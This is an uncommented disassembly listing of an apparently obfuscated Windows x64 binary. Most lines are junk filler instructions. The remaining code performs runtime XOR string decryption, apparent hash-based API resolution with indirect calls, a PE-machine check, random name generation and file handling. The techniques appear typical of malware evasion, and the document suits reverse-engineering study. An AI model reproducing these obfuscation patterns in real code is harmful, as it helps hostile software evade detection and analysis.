add rax, 0
nop
xor rax, 0
xor rax, 0
add rax, 0
or rax, 0
or rax, rax
xor rax, 0
xor rax, 0
add rax, 0
add rax, 0
nop
nop
sub rax, 0
or rax, rax
nop
or rax, 0
mov rax, rax
or rax, rax
add rax, 0
xor rax, 0
mov qword [rsp + 0x140], rcx
call fcn.1400036eb
nop
mov rcx, rcx
nop
mov rcx, rcx
mov rcx, rcx
mov rcx, rcx
xor rcx, 0
xor rcx, 0
mov rcx, rcx
sub rcx, 0
add rcx, 0
xchg rcx, rcx
xchg rcx, rcx
or rcx, rcx
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
xor rcx, 0
xor rcx, 0
add rcx, 0
or rcx, rcx
test rax, rax
je 0x140005a8f
xchg rcx, rcx
sub rcx, 0
xor rcx, 0
sub rcx, 0
add rcx, 0
nop
xchg rcx, rcx
mov rcx, rcx
or rcx, rcx
add rcx, 0
mov rcx, rcx
nop
sub rcx, 0
sub rcx, 0
xchg rcx, rcx
or rcx, rcx
or rcx, 0
xor rcx, 0
mov rcx, rcx
add rcx, 0
sub rcx, 0
xchg rcx, rcx
xchg rcx, rcx
xor rcx, 0
or rcx, 0
xor rcx, 0
mov rcx, rcx
mov rcx, rcx
sub rcx, 0
nop
sub rcx, 0
xchg rcx, rcx
sub rcx, 0
nop
or rcx, rcx
xor rcx, 0
sub rcx, 0
xor rcx, 0
or rcx, rcx
xor rcx, 0
or rcx, 0
or rcx, 0
or rcx, 0
sub rcx, 0
add rcx, 0
nop
sub rcx, 0
or rcx, 0
cmp word [rax + 4], 0x8664
sete al
mov dword [rsp + 0x9c], eax
jmp 0x140005ae4
xor rax, 0
or rax, 0
add rax, 0
mov rax, rax
nop
or rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
add rax, 0
xor rax, 0
mov rax, rax
add rax, 0
nop
nop
nop
xor rax, 0
mov rax, rax
mov dword [rsp + 0x9c], 0
xor rax, 0
or rax, 0
xor rax, 0
add rax, 0
xor rax, 0
xor rax, 0
or rax, 0
add rax, 0
add rax, 0
nop
add rax, 0
nop
nop
add rax, 0
or rax, rax
add rax, 0
sub rax, 0
nop
sub rax, 0
xor rax, 0
mov rax, rax
lea rcx, [rsp + 0xad9d0]
mov qword [rsp + 0x160], rsi
mov rdx, rsi
call fcn.1400033e7
add rax, 0
or rax, rax
or rax, 0
mov rax, rax
or rax, rax
mov rax, rax
nop
nop
nop
add rax, 0
sub rax, 0
or rax, 0
lea rsi, [0x140010096]
movabs r15, 0x7e190b1b1fbcbdf5
lea r12, [rsp + 0x60]
lea rdi, [rsp + 0x90]
xorps xmm6, xmm6
or rax, 0
xor rax, 0
xor rax, 0
or rax, rax
or rax, rax
xor rax, 0
or rax, 0
nop
nop
xor rax, 0
nop
sub rax, 0
or rax, 0
add rax, 0
or rax, 0
mov rax, rax
xor rax, 0
or rax, rax
sub rax, 0
nop
or rax, rax
or rax, 0
add rax, 0
add rax, 0
xor rax, 0
or rax, rax
add rax, 0
add rax, 0
sub rax, 0
mov rax, rax
mov rax, rax
or rax, 0
nop
nop
mov rax, rax
xor rax, 0
mov rax, rax
nop
nop
or rax, 0
nop
or rax, 0
add rax, 0
or rax, 0
or rax, rax
call fcn.140010c73
mov r14, rax
xor rax, 0
sub rax, 0
nop
nop
nop
add rax, 0
sub rax, 0
or rax, 0
or rax, rax
xor rax, 0
nop
or rax, rax
nop
xor rax, 0
mov rax, rax
xor rax, 0
xor rax, 0
mov rax, rax
or rax, 0
sub rax, 0
mov qword [rsp + 0x1d0], rsi
mov rcx, qword [rsp + 0x1d0]
mov qword [rsp + 0x1d0], r15
mov rdx, qword [rsp + 0x1d0]
call fcn.140002f14
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xcded
xor cl, 0xe0
mov byte [rsp + 0x92], cl
mov word [rsp + 0x90], ax
mov r8d, 3
mov rcx, r12
mov rdx, rdi
call fcn.14001615f
cmp byte [rsp + 0x78], 3
jne 0x140005d24
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x138], rax
xor rax, 0
xor rax, 0
or rax, rax
nop
xor rax, 0
nop
nop
xor rax, 0
or rax, rax
mov rax, rax
add rax, 0
add rax, 0
nop
xor rax, 0
nop
xor rax, 0
add rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
mov rax, rax
sub rax, 0
jmp 0x140005ff4
lea rax, [0x14000c2d9]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x640e7c5a77b7098e
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002b8e
and dword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r10, [0x14001b844]
test dl, 1
je 0x140005db7
movzx edx, byte [rcx + r10]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r10]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r10]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0x57000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
mov ecx, 4
xor edx, edx
jmp 0x140005d6d
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0xa0], eax
mov r8d, 4
mov rcx, r13
lea rdx, [rsp + 0xa0]
call fcn.14001615f
cmp byte [rsp + 0xf8], 3
jne 0x140005e27
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x138], rax
or rax, rax
nop
nop
sub rax, 0
or rax, 0
jmp 0x140005fec
mov rax, rax
add rax, 0
sub rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
xor rax, 0
nop
sub rax, 0
add rax, 0
or rax, 0
xor rax, 0
or rax, 0
nop
or rax, rax
nop
or rax, rax
mov rax, rax
lea rax, [0x140016346]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xb79ec9dec5d9c889
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002eed
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140005f53
lea rbp, [0x14001b848]
movzx r8d, byte [rcx + rbp]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbp]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbp]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbp]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbp]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbp]
mov rdi, rcx
or rdi, 6
mov r15, rcx
or r15, 7
movzx edi, byte [rdi + rbp]
movzx r15d, byte [r15 + rbp]
shl r15, 0x38
shl rdi, 0x30
or rdi, r15
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, rdi
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x140005ea4
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x5455
mov word [rsp + 0x1d8], ax
xor cl, 0x77
mov byte [rsp + 0x1da], cl
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x1d7]
mov dword [rsp + 0xc7], eax
mov r8d, 0xb
mov rcx, rbx
lea rdx, [rsp + 0xc0]
call fcn.14001615f
cmp byte [rsp + 0x1e8], 3
jne 0x14000ab17
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x138], rax
mov rcx, r13
call fcn.14000200c
mov rcx, r12
call fcn.14000200c
nop
mov rax, rax
add rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
nop
mov rax, rax
or rax, 0
sub rax, 0
or rax, rax
sub rax, 0
add rax, 0
or rax, 0
sub rax, 0
add rax, 0
or rax, rax
or rax, 0
add rax, 0
add rax, 0
mov r13, r14
add r13, 0x10
mov r12d, 0x18
or rax, rax
mov rax, rax
add rax, 0
nop
or rax, 0
or rax, 0
or rax, 0
nop
mov rax, rax
or rax, 0
mov rax, rax
mov rax, rax
nop
mov rax, qword [r14 + 0x110]
cmp rax, 0x3f
jae 0x14000608b
lea rcx, [rax + 2]
mov qword [r14 + 0x110], rcx
mov rax, qword [r14 + rax*4 + 0x10]
jmp 0x1400060bf
jne 0x1400060ae
mov esi, dword [r14 + 0x10c]
mov edx, 1
mov rcx, r13
call fcn.140003113
mov eax, dword [r14 + 0x10]
shl rax, 0x20
or rax, rsi
jmp 0x1400060bf
mov edx, 2
mov rcx, r13
call fcn.140003113
mov rax, qword [r13]
mul r12
not rax
shr rax, 0x3e
je 0x14000606c
mov rsi, rdx
add rsi, 8
mov rax, rax
nop
or rax, rax
or rax, 0
sub rax, 0
or rax, 0
mov rax, rax
mov rax, rax
or rax, 0
nop
or rax, rax
nop
or rax, rax
lea rax, [rsp + 0x1d8]
movups xmmword [rax], xmm6
mov qword [rsp + 0x1d0], 1
mov r12d, 1
xor edi, edi
mov r15, rsi
sub r15, 1
jb 0x1400061a6
mov rax, qword [r14 + 0x110]
cmp rax, 0x40
jb 0x14000614b
mov rcx, r13
xor edx, edx
call fcn.140003113
mov rax, qword [r14 + 0x110]
cmp rax, 0x40
jae 0x14000ab17
mov ecx, dword [r14 + rax*4 + 0x10]
mov edx, ecx
shr edx, 0x1b
inc rax
mov qword [r14 + 0x110], rax
cmp edx, 0x1e
ja 0x14000612a
shr ecx, 0x1a
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
mov bpl, byte [rcx + rax]
cmp rdi, qword [rsp + 0x1d8]
jne 0x14000618f
mov rcx, rbx
mov rdx, rsi
call fcn.14000ac47
mov r12, qword [rsp + 0x1d0]
mov byte [r12 + rdi], bpl
inc rdi
mov qword [rsp + 0x1e0], rdi
mov rsi, r15
jmp 0x140006119
mov rbp, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
sub rax, 0
add rax, 0
xor rax, 0
add rax, 0
sub rax, 0
mov rax, rax
or rax, rax
sub rax, 0
sub rax, 0
sub rax, 0
add rax, 0
nop
nop
nop
mov rax, rax
sub rax, 0
mov rax, rax
add rax, 0
add rax, 0
nop
xor rax, 0
nop
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x138]
mov r9, rbp
call fcn.140016991
mov rax, rax
or rax, 0
sub rax, 0
nop
nop
mov rax, rax
nop
sub rax, 0
add rax, 0
or rax, rax
or rax, rax
nop
mov rax, rax
nop
mov rax, rax
nop
nop
add rax, 0
mov rcx, r14
call fcn.1400029a7
lea ecx, [rax + rax*8]
cmp ecx, 0x8fffffff
ja 0x14000624a
cmp eax, 0x1c71c71d
mov r12d, 0x18
jb 0x14000694a
or rax, rax
or rax, 0
nop
xor rax, 0
nop
add rax, 0
add rax, 0
xor rax, 0
sub rax, 0
or rax, rax
xor rax, 0
mov ecx, 0x60
call fcn.140002b76
test rax, rax
je 0x14000ab17
mov rdi, rax
lea rax, [0x140019dae]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xce6b5d2ead475251
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002e65
and dword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r10, [0x14001b865]
test dl, 1
je 0x14000633b
movzx edx, byte [rcx + r10]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r10]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r10]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0xd3000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
mov ecx, 4
xor edx, edx
jmp 0x1400062f1
mov qword [rsp + 0x1a8], rbp
mov qword [rsp + 0x130], rsi
mov esi, dword [rsp + 0x1d0]
mov ecx, 4
call fcn.14000adf3
mov qword [rsp + 0x80], rdx
mov qword [rsp + 0xd8], rax
mov dword [rax], esi
lea rax, [0x14001adc8]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xeb0542bdefea5455
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002d45
movzx ebp, byte [rax + 2]
movzx r15d, word [rax]
xor r15d, 0xb3d1
xor bpl, 0x1e
mov ecx, 3
call fcn.14000adf3
mov rsi, rax
mov qword [rsp + 0x150], rdx
mov byte [rax + 2], bpl
mov word [rax], r15w
lea rax, [0x140013b24]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x63daf93ff5d8536f
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002f7a
and dword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r10, [0x14001b869]
test dl, 1
je 0x140006467
movzx edx, byte [rcx + r10]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r10]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r10]
shl r9d, 0x10
shl r8d, 8
or r8d, edx
lea edx, [r9 + r8]
add edx, 0xbb000000
xor edx, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], edx
mov ecx, 4
xor edx, edx
jmp 0x14000641d
mov r12d, dword [rsp + 0x1d0]
mov ecx, 4
call fcn.14000adf3
mov r15, rax
mov rbp, rdx
mov dword [rax], r12d
lea rax, [0x140016a5c]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x8698506e97cf1606
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.1400030f8
movzx r12d, byte [rax + 2]
movzx ebx, word [rax]
xor ebx, 0x2c48
xor r12b, 0x7e
mov ecx, 3
call fcn.14000adf3
mov byte [rax + 2], r12b
mov word [rax], bx
mov rcx, qword [rsp + 0xd8]
mov qword [rdi], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rdi + 8], rcx
mov r8d, 4
mov qword [rdi + 0x10], r8
mov qword [rdi + 0x18], rsi
mov rcx, qword [rsp + 0x150]
mov qword [rdi + 0x20], rcx
mov ecx, 3
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x30], r15
mov qword [rdi + 0x38], rbp
mov qword [rdi + 0x40], r8
mov qword [rdi + 0x48], rax
mov qword [rdi + 0x50], rdx
mov qword [rdi + 0x58], rcx
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], r8
mov qword [rsp + 0xd0], r8
sub rax, 0
or rax, rax
nop
or rax, 0
or rax, 0
sub rax, 0
nop
call fcn.140010c73
mov r15, rax
mov rcx, r15
call fcn.1400029a7
bt eax, 0x1d
jb 0x140006562
mov eax, eax
shr eax, 0x1e
imul rax, rax, 0x18
mov rcx, qword [rdi + rax]
mov qword [rsp + 0x198], rcx
mov rax, qword [rdi + rax + 0x10]
mov qword [rsp + 0xd8], rax
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x1a0], r8
call fcn.140013e24
mov sil, byte [rsp + 0x118]
cmp sil, 3
lea rbx, [rsp + 0x1d0]
je 0x14000691f
mov al, byte [rsp + 0xf0]
mov bpl, byte [rsp + 0x11a]
mov byte [rsp + 0x80], al
movzx edi, al
mov rax, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xe8]
mov cl, byte [rsp + 0x119]
mov qword [rsp + 0x158], rax
dec rax
mov qword [rsp + 0x188], rax
cmp cl, 3
je 0x14000691f
cmp sil, cl
ja 0x14000691f
cmp cl, 1
je 0x140006657
movzx eax, cl
lea rcx, [rsp + 0xe0]
cmp eax, 2
jne 0x140006788
call fcn.1400141f5
cmp r12, rax
ja 0x1400066a1
mov byte [rsp + 0x119], 1
mov cl, 1
jmp 0x140006616
mov byte [rsp + 0x119], 0
test bpl, bpl
jne 0x14000677a
xor ecx, ecx
cmp edi, 5
je 0x140006616
cmp edi, 6
jne 0x14000668c
lea rcx, [rsp + 0xe0]
call fcn.140013711
xor ecx, ecx
test al, al
je 0x140006616
jmp 0x14000677a
xor ecx, ecx
cmp byte [rsp + 0x80], 3
jb 0x140006616
jmp 0x14000691f
lea rcx, [rsp + 0xe0]
call fcn.1400141f5
cmp rax, r12
ja 0x14000ab17
mov rcx, qword [rsp + 0x158]
lea r8, [rcx + rax]
add rcx, r12
sub rcx, r8
mov rdx, qword [rsp + 0x188]
add rdx, r12
test rcx, rcx
je 0x14000671a
movzx r9d, byte [rdx]
cmp byte [rsp + 0x80], 2
jbe 0x1400066ed
cmp r9d, 0x2f
je 0x1400066fb
cmp r9d, 0x5c
je 0x1400066fb
dec rdx
dec rcx
jmp 0x1400066d4
add rax, rcx
cmp rax, r12
ja 0x14000ab17
mov rcx, qword [rsp + 0x158]
lea r8, [rcx + rax]
mov ecx, 1
jmp 0x14000671c
xor ecx, ecx
mov r9, r12
sub r9, rax
add rcx, r9
mov qword [rsp + 0x180], rcx
lea rcx, [rsp + 0x1d8]
mov dl, byte [rsp + 0x80]
call fcn.140013782
sub r12, qword [rsp + 0x180]
jb 0x14000ab17
mov al, byte [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov qword [rsp + 0xe8], r12
mov cl, 2
cmp al, 0xa
je 0x140006616
jmp 0x1400067c4
test r12, r12
jne 0x14000691f
jmp 0x14000ab17
call fcn.1400136ff
test rax, rax
je 0x14000691f
mov al, byte [rsp + 0x80]
cmp al, 6
je 0x14000ab17
cmp al, 0xa
je 0x14000691f
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov al, byte [rsp + 0x80]
cmp al, 9
jne 0x14000691f
test r8, r8
je 0x14000691f
mov r12, rdx
mov rbp, r8
cmp rdx, 2
jne 0x1400067f3
cmp word [rbp], 0x2e2e
jne 0x1400067f3
mov r12d, 2
xor ecx, ecx
jmp 0x14000686c
mov qword [rsp + 0x1d8], rbp
mov qword [rsp + 0x1e0], r12
mov byte [rsp + 0x1e8], 0
mov qword [rsp + 0x1d0], 2
lea rsi, [rsp + 0x1d0]
mov rcx, rsi
call fcn.140017500
mov rdi, rax
mov qword [rsp + 0x80], rdx
mov rcx, rsi
call fcn.140017500
mov rbx, rax
mov rsi, rdx
test rax, rax
je 0x140006863
mov rcx, rbx
mov rdx, rsi
lea r8, [0x140176d40]
xor r9d, r9d
call fcn.14000fa94
mov ecx, 0
test al, al
jne 0x14000686c
mov rcx, rdi
mov r12, rsi
mov rbp, rbx
mov rax, rbp
test rbp, rbp
cmovne rcx, rbp
test rcx, rcx
lea rbx, [rsp + 0x1d0]
je 0x14000691f
test rbp, rbp
cmove r12, qword [rsp + 0x80]
add rcx, r12
sub rcx, qword [rsp + 0x150]
cmp qword [rsp + 0x1a0], rcx
jb 0x1400068ad
mov qword [rsp + 0x70], rcx
cmp qword [rsp + 0xd8], 0
je 0x14000691f
mov rax, qword [rsp + 0xd8]
lea rdx, [rax + 1]
lea rcx, [rsp + 0x60]
call fcn.14000ae2b
mov rdx, qword [rsp + 0x70]
cmp rdx, qword [rsp + 0x68]
jne 0x1400068e9
lea rcx, [rsp + 0x60]
call fcn.14000adb5
mov rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x60]
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rsp + 0x70], rdx
mov rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0xd8]
add r8, rdx
lea rcx, [rsp + 0x60]
call fcn.14000ac04
lea rbx, [rsp + 0x1d0]
mov rcx, r15
call fcn.1400100c4
lea rcx, [rsp + 0xc0]
call fcn.140001fa5
mov r12d, 0x18
mov rsi, qword [rsp + 0x130]
mov rbp, qword [rsp + 0x1a8]
add rax, 0
nop
sub rax, 0
sub rax, 0
or rax, 0
or rax, rax
mov rax, rax
sub rax, 0
mov rax, rax
nop
mov rax, rax
nop
xor rax, 0
mov rdi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x70]
lea rcx, [rsp + 0xe0]
mov rdx, rdi
mov r8, r15
xor r9d, r9d
call fcn.14001702a
cmp dword [rsp + 0xe0], 2
jne 0x140006a2e
mov rbx, rsi
mov rsi, qword [rsp + 0xe8]
mov rcx, rsi
call fcn.1400149e9
mov ecx, eax
mov r8d, 1
mov r9d, 0x780
call fcn.140014a0f
test al, al
je 0x140006a58
lea rcx, [rsp + 0x1d0]
mov rdx, rdi
mov r8, r15
mov r9d, 0x200000
call fcn.14001702a
mov rcx, qword [rsp + 0x1d0]
cmp rcx, 2
je 0x140006a4b
test byte [rsp + 0x211], 4
je 0x140006a0e
mov eax, dword [rsp + 0x214]
mov edx, 0x20000000
and eax, edx
jne 0x140006a4b
mov rdx, qword [rsp + 0x1d8]
call fcn.140017372
mov rcx, rsi
call fcn.140013897
mov rsi, rbx
lea rbx, [rsp + 0x1d0]
mov rdx, qword [rsp + 0x68]
mov rcx, rdi
call fcn.14000addf
mov rcx, rbp
mov rdx, rsi
call fcn.14000addf
jmp 0x140006046
mov rdx, qword [rsp + 0x1d8]
call fcn.140017372
mov eax, esi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140006ab0
test rax, rax
je 0x140006ab0
mov qword [rsp + 0x130], rbx
mov r12, qword [rsi - 1]
mov r13, qword [rsi + 7]
mov rcx, r12
call qword [r13]
mov r8, qword [r13 + 8]
test r8, r8
je 0x140006a98
mov rdx, qword [r13 + 0x10]
mov rcx, r12
call fcn.140002b6c
dec rsi
mov edx, 8
mov rcx, rsi
call fcn.14000abd0
mov rbx, qword [rsp + 0x130]
xor rax, 0
xor rax, 0
mov rax, rax
or rax, 0
nop
or rax, rax
nop
sub rax, 0
xor rax, 0
nop
or rax, 0
add rax, 0
xor rax, 0
mov rax, rax
nop
nop
or rax, rax
mov rax, rax
nop
xor rax, 0
xor rax, 0
nop
nop
xor rax, 0
mov rcx, rdi
mov rdx, r15
call fcn.140001a98
test rax, rax
je 0x14000ab17
mov rsi, rax
mov r13, rdx
nop
or rax, 0
nop
or rax, rax
nop
sub rax, 0
or rax, rax
or rax, rax
xor rax, 0
or rax, rax
mov rax, rax
sub rax, 0
add rax, 0
xor rax, 0
or rax, rax
sub rax, 0
sub rax, 0
nop
nop
sub rax, 0
xor rax, 0
mov rcx, rdx
call fcn.14000adf3
mov r15, rax
mov qword [rsp + 0x138], rdx
mov rcx, rax
mov rdx, rsi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
call fcn.14000addf
mov rcx, rbp
mov rdx, rbx
call fcn.14000addf
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x148]
call fcn.14000addf
mov rcx, r14
call fcn.1400100c4
add rax, 0
nop
xor rax, 0
or rax, 0
add rax, 0
or rax, rax
xor rax, 0
or rax, rax
or rax, rax
add rax, 0
or rax, 0
mov rax, rax
add rax, 0
or rax, rax
mov rax, rax
nop
xor rax, 0
nop
nop
sub rax, 0
mov rax, rax
sub rax, 0
nop
add rax, 0
sub rax, 0
xor rax, 0
nop
add rax, 0
sub rax, 0
nop
add rax, 0
or rax, 0
mov rcx, r13
call fcn.14000adf3
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov qword [rsp + 0x80], r15
mov rdx, r15
mov r8, r13
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x1e0], r13
lea rbx, [rsp + 0x1d0]
mov rcx, rbx
call fcn.140003169
mov rdi, rax
mov rax, rax
xor rax, 0
xor rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
nop
xor rax, 0
xor rax, 0
or rax, rax
or rax, 0
or rax, rax
add rax, 0
call fcn.1400041ed
mov r14, rax
lea rax, [0x140016bb7]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0x58ff4af8dd3cd527
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.140002f9c
and qword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x140006d87
lea rbp, [0x14001b929]
movzx r8d, byte [rcx + rbp]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + rbp]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + rbp]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + rbp]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + rbp]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + rbp]
mov rbx, rcx
or rbx, 6
mov r12, rcx
or r12, 7
movzx r15d, byte [rbx + rbp]
movzx ebx, byte [r12 + rbp]
shl rbx, 0x38
shl r15, 0x30
or r15, rbx
lea rbx, [rsp + 0x1d0]
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
or rdx, r15
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x1d0], rdx
mov ecx, 8
xor edx, edx
jmp 0x140006ccf
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x28d4
mov word [rsp + 0x1d8], ax
xor cl, 0x81
mov byte [rsp + 0x1da], cl
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0xe0], rax
mov eax, dword [rsp + 0x1d7]
mov dword [rsp + 0xe7], eax
mov rdx, qword [r14]
mov r9d, 0xb
mov rcx, rbx
lea r8, [rsp + 0xe0]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rax, qword [rsp + 0x1d8]
or rcx, 0
xor rcx, 0
or rcx, rcx
or rcx, 0
add rcx, 0
add rcx, 0
or rcx, rcx
nop
or rcx, 0
or rcx, 0
or rcx, rcx
add rcx, 0
sub rcx, 0
sub rcx, 0
mov rcx, rcx
or rcx, rcx
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
mov rcx, rdi
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call rax
mov r14, rax
sub rax, 0
sub rax, 0
nop
xor rax, 0
mov rax, rax
or rax, 0
add rax, 0
nop
add rax, 0
add rax, 0
or rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
add rax, 0
mov rax, rax
or rax, rax
xor rax, 0
sub rax, 0
or rax, 0
xor rax, 0
add rax, 0
cmp r14, 0xffffffffffffffff
je 0x1400075a3
nop
nop
or rax, rax
or rax, 0
sub rax, 0
add rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
or rax, rax
xor rax, 0
or rax, rax
nop
add rax, 0
mov rax, rax
nop
or rax, rax
or rax, 0
xor rax, 0
call fcn.140004240
mov rsi, rax
lea rax, [0x140018901]
mov qword [rsp + 0x1d0], rax
mov rcx, qword [rsp + 0x1d0]
movabs rax, 0xfbe7830c8d1833b3
mov qword [rsp + 0x1d0], rax
mov rdx, qword [rsp + 0x1d0]
call fcn.1400030a7
and dword [rsp + 0x1d3], 0
and dword [rsp + 0x1d0], 0
mov dl, 1
xor ecx, ecx
lea r11, [0x14001b9b7]
test dl, 1
je 0x140006f9b
movzx edx, byte [rcx + r11]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + r11]
mov r9, rcx
or r9, 3
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + r11]
movzx r9d, byte [r9 + r11]
shl r9d, 0x18
shl r10d, 0x10
shl r8d, 8
or r8d, edx
or r8d, r10d
or r8d, r9d
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x1d0], r8d
mov ecx, 4
xor edx, edx
jmp 0x140006f43
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x9651
xor cl, 0x4a
mov edx, dword [rsp + 0x1d0]
mov dword [rsp + 0xe0], edx
mov byte [rsp + 0xe6], cl
mov word [rsp + 0xe4], ax
mov rdx, qword [rsi]
mov r9d, 7
mov rcx, rbx
lea r8, [rsp + 0xe0]
call fcn.140003e69
cmp byte [rsp + 0x1d0], 0
jne 0x14000ab17
mov rsi, qword [rsp + 0x1d8]
or rax, rax
add rax, 0
sub rax, 0
or rax, 0
mov rax, rax
sub rax, 0
nop
mov rax, rax
add rax, 0
or rax, 0
mov rax, rax
nop
add rax, 0
mov rax, rax
or rax, rax
mov rcx, r14
call rsi
test eax, eax
js 0x14000760a
mov qword [rsp + 0x88], rsi
or rax, 0
mov rax, rax
or rax, 0
or rax, rax
add rax, 0
add rax, 0
or rax, rax
mov rax, rax
nop
add rax, 0
or rax, 0
or rax, 0
nop
or rax, 0
xor rax, 0
mov rax, rax
add rax, 0
nop
nop
sub rax, 0
add rax, 0
add rax, 0
or rax, rax
sub rax, 0
add rax, 0
nop
xor rax, 0
or rax, 0
lea rax, [0x14000cced]
